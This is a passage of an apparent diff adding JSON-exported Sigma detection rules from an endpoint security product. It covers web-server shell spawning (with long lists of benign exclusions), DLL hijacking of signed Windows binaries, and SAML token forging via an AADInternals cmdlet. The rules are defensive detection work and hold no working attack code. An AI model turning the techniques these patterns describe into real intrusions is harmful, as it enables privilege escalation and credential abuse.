?:\\xampp\\sendmail\\sendmail.exe'\n            - 'cmd.exe /c *\\sendmail\\sendmail.exe -t'\n            - 'cmd.exe /c /usr/sbin/sendmail -oi -f*@* -t'\n\n    exclusion_php:\n        CommandLine:\n            - 'cmd.exe /c */bin/php/php?.?.??/php.exe -r print^(var_export^(get_loaded_extensions^(^),true^)^)^;'\n            - 'cmd.exe /c */bin/php/php?.?.??/php.exe -c */bin/php.ini -r print^(var_export^(get_loaded_extensions^(^),true^)^)^;'\n            - 'cmd.exe /s /c */bin/php/php?.?.??/php.exe -r print^(var_export^(get_loaded_extensions^(^),true^)^)^;'\n            - 'cmd.exe /s /c */bin/php/php?.?.??/php.exe -c */bin/php.ini -r print^(var_export^(get_loaded_extensions^(^),true^)^)^;'\n\n    exclusion_tomcat:\n        CommandLine:\n            - 'sh *\\GRANGLE\\\\*\\tomcat\\\\*'\n            - 'sh.exe *\\GRANGLE\\\\*\\tomcat\\\\*'\n            - 'cmd.exe /C cscript.exe ?:\\Program Files\\Apache Software Foundation\\Tomcat*\\temp\\service*.vbs'\n\n    exclusion_magicinfo:\n        CommandLine|startswith: 'cmd /c copy *\\MagicInfo Premium\\runtime'\n\n    exclusion_dakota:\n        CommandLine: 'cmd /c powershell -ExecutionPolicy RemoteSigned -noprofile -noninteractive Get-WebBinding -Name Dakota -Protocol https | select -ExpandProperty bindingInformation'\n\n    exclusion_vmware:\n        CommandLine|startswith: 'cmd /c VMwareToolboxCmd.exe stat'\n\n    exclusion_converters:\n        CommandLine|startswith:\n            - 'cmd.exe /c pdftk '\n            - 'cmd.exe /c pdftk.exe '\n            - 'cmd.exe /s /c pdftk '\n            - 'cmd.exe /s /c pdftk^ '\n            - 'cmd.exe /s /c pdftk.exe '\n            - 'cmd.exe /c ffmpeg '\n            - 'cmd.exe */c *\\wkhtmltopdf.exe '\n            - 'cmd.exe */c */wkhtmltopdf.exe '\n            - 'cmd * /C */wkhtmltopdf.exe '\n            - 'cmd.exe /c *ImageGen/ImageGen.exe'\n            - 'cmd.exe /c imagemagick\\convert.exe '\n            - 'cmd.exe /s /c */bin/ImageMagick*/convert '\n            - 'cmd.exe /c ?:*Program Files*\\ImageMagick-*\\convert.exe '\n            - 'cmd.exe /c ?:*Program Files (x86)*\\ImageMagick-*\\convert.exe '\n            - 'cmd.exe /c convert -version'\n            - 'cmd.exe /c pdfinfo -v 2>&1'\n            - '*cmd.exe /c ?:\\Program Files\\Vital Images\\\\*\\bin\\\\*Converter.bat'\n            - 'cmd.exe /c *\\iCTI_convert_druide.exe '\n            - 'cmd.exe /c \"?:\\Program Files\\ImageMagick-*\\convert.exe'\n            - 'cmd.exe /c \"?:\\Program Files (x86)\\ImageMagick-*\\convert.exe'\n            - 'cmd.exe /c *\\ImageMagick-*\\montage.exe'\n            - 'cmd.exe /c ?:\\Program Files\\LibreOffice\\program\\python ?:\\Program Files\\LibreOffice\\program\\unoconv.py'\n            - 'cmd.exe /c */bin/pdftk.exe '\n            - 'cmd.exe /c java * ?:\\Program Files\\pdfsam\\lib\\pdfsam*'\n            - 'cmd.exe /c java * ?:\\Program Files (x86)\\pdfsam\\lib\\pdfsam*'\n            - 'cmd.exe /c *\\converter\\iconv.exe'\n            # - 'cmd.exe /c where *convert'\n\n    exclusion_ssafe:\n        CommandLine|startswith: 'cmd.exe /s /c schtasks /Create /tn SSafe_RSTART /tr ?:\\Windows\\TEMP/_ssf_svc_.bat'\n\n    exclusion_loaded_extension_monitoring:\n        CommandLine|contains: 'print^(var_export^(get_loaded_extensions^(^),true^)^)^;'\n\n    exclusion_backup:\n        CommandLine: 'cmd.exe /s /c mysqldump'\n\n    exclusion_delete_schtasks:\n        CommandLine|startswith: 'cmd.exe /s /c schtasks /delete /TN'\n\n    exclusion_neoplayer:\n        CommandLine|startswith: 'cmd.exe /c */neoplayer/rest/apk/aapt.exe dump'\n\n    exclusion_swish_e:\n        CommandLine: 'cmd.exe /c *\\SWISH-E\\bin\\swish-e.exe -f *'\n\n    exclusion_thumbnailer:\n        CommandLine|startswith: 'cmd.exe /c evince-thumbnailer '\n\n    exclusion_tmp_cleanup:\n        CommandLine:\n            - '?:\\windows\\system32\\cmd.exe /C del /S /Q ?:\\windows\\TEMP\\tmp_*.ps1xml'\n            - '?:\\windows\\system32\\cmd.exe /C del /S /Q ?:\\windows\\TEMP\\tmp_*.psd1'\n            - '?:\\windows\\system32\\cmd.exe /C del /S /Q ?:\\windows\\TEMP\\tmp_*.psm1'\n\n    exclusion_soffice:\n        CommandLine: 'cmd /C tasklist | find soffice'\n\n    exclusion_t2ttechnologies:\n        CommandLine|startswith: 'cmd.exe /c ?:\\Program Files\\T2Technology\\T2MasterPrint\\'\n\n    exclusion_berger_levrault:\n        CommandLine:\n            - '?:\\Windows\\system32\\cmd.exe /c *\\Berger-Levrault\\\\*\\server_dsn-val_*.bat*.dsn *\\eGRH\\Fusions\\\\* */Berger-Levrault/*'\n            - '?:\\Windows\\system32\\cmd.exe /c *\\Berger-Levrault\\\\*\\server_jps.bat */Berger-Levrault/*'\n\n\n    exclusion_pipelog:\n        CommandLine: '?:\\Windows\\system32\\cmd.exe /C bin\\pipelog.exe httpd_*'\n\n    exclusion_medifirst_genetics:\n        CommandLine|contains|all:\n            - 'cmd.exe /c java'\n            - '/mdfapp/genetics'\n            - '/mdf/var/medifirst_genetics/'\n\n    exclusion_urouter:\n        CommandLine|startswith: 'CMD /C wmic process where (name=userver.exe or name=urouter.exe)'\n\n    exclusion_hexaflux:\n        CommandLine:\n            - 'cmd /c sc query hexaflux_console.exe'\n            - 'cmd /c sc query hexaflux'\n\n    exclusion_incotec:\n        CommandLine: '?:\\Windows\\system32\\cmd.exe /c *\\IncoRunEnv.bat VcmRptJob.exe * /Inco_Identity:*'\n\n    exclusion_quadientmas:\n        CommandLine|startswith:\n            - 'cmd.exe /c ?:\\Program Files (x86)\\QuadientMAS\\services\\'\n            - 'cmd.exe /c ?:/Program Files (x86)/QuadientMAS/services/'\n            - 'cmd.exe /c icacls ?:\\Program Files (x86)\\QuadientMAS\\data\\user* /t /grant'\n\n    exclusion_neomas:\n        CommandLine|startswith: 'cmd.exe /c ?:/Program Files (x86)/NeopostMAS/'\n\n    exclusion_wamp:\n        CommandLine: 'cmd.exe /c CMD /D /C powershell [System.Text.Encoding]::Default'\n\n    exclusion_cvi42:\n        GrandparentImage|endswith: '\\httpd.exe'\n        ParentImage|endswith: '\\php-cgi.exe'\n        CommandLine|contains: '?:\\Program Files\\cvi42\\report\\\\???\\'\n\n    exclusion_aras_innovator:\n        CommandLine: 'cmd.exe /c node updateOrCompile.js'\n        CurrentDirectory|endswith: '\\Aras\\PRD\\Innovator\\Client\\nodejs\\'\n\n    exclusion_ovidentia:\n        CurrentDirectory: '?:\\inetpub\\wwwroot\\ovidentia\\'\n        CommandLine:\n            - 'cmd.exe /c ffmpeg -version > /dev/null 2>&1'\n            - 'cmd.exe /c pdfinfo -v 2>&1'\n            - 'cmd.exe /c convert -version'\n\n    exclusion_ifilter:\n        CommandLine: 'cmd.exe /s /c *\\iFilterConsole64.exe -f *.pdf'\n\n    exclusion_carl:\n        CommandLine:\n            - 'cmd /s /c icacls *\\CSAdmin\\tmp\\tmp_*\\\\* /GRANT:r *'\n            - 'cmd /s /c DEL *\\CSAdmin\\tmp\\tmp_*\\\\* 1>nul & RMDIR /S /Q *\\CSAdmin\\tmp\\tmp_*\\\\*'\n            - 'cmd /s /c *\\bin\\java -classpath *\\CSAdmin/distrib/work\\carlsource/*/install/lib/*com.carl.xnet.starter.ObfuscatorCli*'\n\n    exclusion_rtm:\n        CommandLine:\n            - 'cmd.exe /c sc query RTM Historian | FIND STATE'\n            - 'cmd.exe /c sc query RTM RTMReporter | FIND STATE'\n            - 'cmd.exe /c sc query RTM Scheduler | FIND STATE'\n            - 'cmd.exe /c sc stop RTM RTMReporter'\n\n    exclusion_openbee:\n        CommandLine|startswith: 'cmd.exe /c ?:\\Program Files (x86)\\OpenBee\\OpenBeePortal*\\Apache*\\'\n\n    exclusion_sap:\n        CommandLine|startswith: 'cmd /c icacls ?:\\Program Files (x86)\\SAP\\SAP Business One ServerTools\\SCSWWorkingShare'\n\n    exclusion_talentia:\n        CommandLine|startswith: 'cmd.exe /c *\\Talentia\\portailDsn\\\\*\\webapps\\portailDsn\\WEB-INF\\classes'\n\n    exclusion_userver:\n        CommandLine|startswith: 'CMD /C wmic process where name=userver.exe get commandline <NUL'\n\n    exclusion_scsw:\n        CommandLine: 'cmd /c net share SCSW_WORKING_SHARE'\n\n    exclusion_eonline:\n        CommandLine: 'cscript //NoLogo ?:\\Program Files (x86)\\Eonline II\\tomcat*\\temp\\realhowto*.vbs'\n\n    exclusion_git:\n        CommandLine|startswith: 'cmd /V:ON /E:ON /D /C (echo $(git rev-parse --show-toplevel)) 1>'\n\n    exclusion_jalios_cms:\n        # https://community.jalios.com/jcms/jc2_183627/fr/script-pdf2svg2-bat?details=true\n        # C:\\Windows\\system32\\cmd.exe /c C:\\Tools\\poppler-0.68\\bin\\pdf2svg2.bat....\n        CommandLine: '?:\\Windows\\system32\\cmd.exe /c *poppler*\\bin\\pdf2svg2.bat *'\n\n    exclusion_mdfapp:\n        # https://github.com/mpdf/mpdf\n        CommandLine|contains: '/c /mdf/app/php/bin/php  ?:/mdf/mdfapp/genetics/modules/*/stringToBarCode.php'\n\n    exclusion_kayleigh:\n        CommandLine:\n            - 'cmd.exe /c sc query KayleighUniSpooler'\n            - 'cmd.exe /c sc query KayleighSPSpooler'\n            - 'cmd.exe /c sc query KayleighApacheServer'\n            - 'cmd.exe /c sc query KayleighPostgresServer'\n            - 'cmd.exe /c sc query KayleighJavaServer'\n\n    exclusion_cron:\n        CommandLine:\n            - 'cmd.exe /s /c ?:\\php\\php-*-nts\\\\php.exe -f ?:/inetpub/wwwroot/logen/library/cron/cron.php ajax'\n            - 'cmd.exe /s /c cd c:/inetpub/wwwroot/logen/library/cron/'\n\n    condition: all of selection_* and not 1 of exclusion_*\nfalsepositives:\n    - Some web applications may spawn a legitimate shell process.\nlevel: high\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "f9ee660e-81ec-4e3b-9897-8e9e23dba22b",
+  "rule_name": "Shell Process Spawned by Web Server",
+  "rule_description": "Detects the suspicious invocation of a shell process by a web server\nAttackers can use vulnerabilities present in web applications to execute malicious code on a web server.\nIs is recommended to analyze the executed shell command to determine its legitimacy in the context of the running web application.\n",
+  "rule_creation_date": "2021-04-01",
+  "rule_modified_date": "2025-04-14",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1190",
+    "attack.t1505.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "fa2fd701-99ae-44c4-bb90-1f638c009d14",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.082150Z",
+  "creation_date": "2026-03-23T11:45:34.082152Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.082157Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_customshellhost.yml",
+  "content": "title: DLL Hijacking via CustomShellHost.exe\nid: fa2fd701-99ae-44c4-bb90-1f638c009d14\ndescription: |\n    Detects potential Windows DLL Hijacking via CustomShellHost.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'CustomShellHost.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\propsys.dll'\n            - '\\sspicli.dll'\n            - '\\userenv.dll'\n            - '\\wtsapi32.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "fa2fd701-99ae-44c4-bb90-1f638c009d14",
+  "rule_name": "DLL Hijacking via CustomShellHost.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via CustomShellHost.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "fa33082b-e331-43b5-b919-98c770258fc9",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.078365Z",
+  "creation_date": "2026-03-23T11:45:34.078366Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.078371Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/redcanaryco/atomic-red-team/blob/d0dad62dbcae9c60c519368e82c196a3db577055/atomics/T1606.002/T1606.002.md#atomic-test-1---golden-saml",
+    "https://attack.mitre.org/techniques/T1606/002/",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1606_002_saml_forged_token.yml",
+  "content": "title: SAML Token Forged via PowerShell\nid: fa33082b-e331-43b5-b919-98c770258fc9\ndescription: |\n    Detects the usage of a PowerShell cmdlet related to SAML token forging.\n    An adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.\n    They may gain administrative Azure AD privileges if a SAML token is forged which claims to represent a highly privileged account.\n    It is recommended to analyze the process responsible for the forging of token as well as its ancestors for malicious content, and to look for other suspicious activities and authentications following this alert.\nreferences:\n    - https://github.com/redcanaryco/atomic-red-team/blob/d0dad62dbcae9c60c519368e82c196a3db577055/atomics/T1606.002/T1606.002.md#atomic-test-1---golden-saml\n    - https://attack.mitre.org/techniques/T1606/002/\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2022/12/23\nmodified: 2025/02/03\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1606.002\n    - attack.execution\n    - attack.t1059.001\n    - attack.defense_evasion\n    - attack.t1550\n    - attack.t1550.001\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.PrivilegeEscalation\nlogsource:\n    product: windows\n    category: powershell_event\ndetection:\n    selection:\n        # cmdlet to forge the token\n        PowershellCommand|contains: 'New-AADIntSAMLToken '\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "fa33082b-e331-43b5-b919-98c770258fc9",
+  "rule_name": "SAML Token Forged via PowerShell",
+  "rule_description": "Detects the usage of a PowerShell cmdlet related to SAML token forging.\nAn adversary may forge SAML tokens with any permissions claims and lifetimes if they possess a valid SAML token-signing certificate.\nThey may gain administrative Azure AD privileges if a SAML token is forged which claims to represent a highly privileged account.\nIt is recommended to analyze the process responsible for the forging of token as well as its ancestors for malicious content, and to look for other suspicious activities and authentications following this alert.\n",
+  "rule_creation_date": "2022-12-23",
+  "rule_modified_date": "2025-02-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1550",
+    "attack.t1550.001",
+    "attack.t1606.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "fa405235-fe36-482e-8102-ba29c2a94699",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.082463Z",
+  "creation_date": "2026-03-23T11:45:34.082466Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.082470Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_tracerpt.yml",
+  "content": "title: DLL Hijacking via TraceRpt.exe\nid: fa405235-fe36-482e-8102-ba29c2a94699\ndescription: |\n    Detects potential Windows DLL Hijacking via TraceRpt.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'TraceRpt.Exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\dbghelp.dll'\n            - '\\pdh.dll'\n            - '\\wevtapi.dll'\n            - '\\xmllite.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "fa405235-fe36-482e-8102-ba29c2a94699",
+  "rule_name": "DLL Hijacking via TraceRpt.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via TraceRpt.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "fa567806-d013-44a4-a7d2-f0d80d501545",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.090322Z",
+  "creation_date": "2026-03-23T11:45:34.090324Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.090329Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_dstokenclean.yml",
+  "content": "title: DLL Hijacking via dstokenclean.exe\nid: fa567806-d013-44a4-a7d2-f0d80d501545\ndescription: |\n    Detects potential Windows DLL Hijacking via dstokenclean.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'dstokenclean.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\dsclient.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "fa567806-d013-44a4-a7d2-f0d80d501545",
+  "rule_name": "DLL Hijacking via dstokenclean.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via dstokenclean.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "fa5fd8c4-73b1-449f-b1a2-bcc19d728a3a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.611998Z",
+  "creation_date": "2026-03-23T11:45:34.612002Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.612009Z",
+  "rule_level": "low",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://gtfobins.github.io/gtfobins/vim/",
+    "https://twitter.com/alh4zr3d/status/1631655900560629760?s=46&t=bmL9gNSzs4gNil-zD7vIRg",
+    "https://attack.mitre.org/techniques/T1543/",
+    "https://attack.mitre.org/techniques/T1037/"
+  ],
+  "name": "t1543_vimrc_modified.yml",
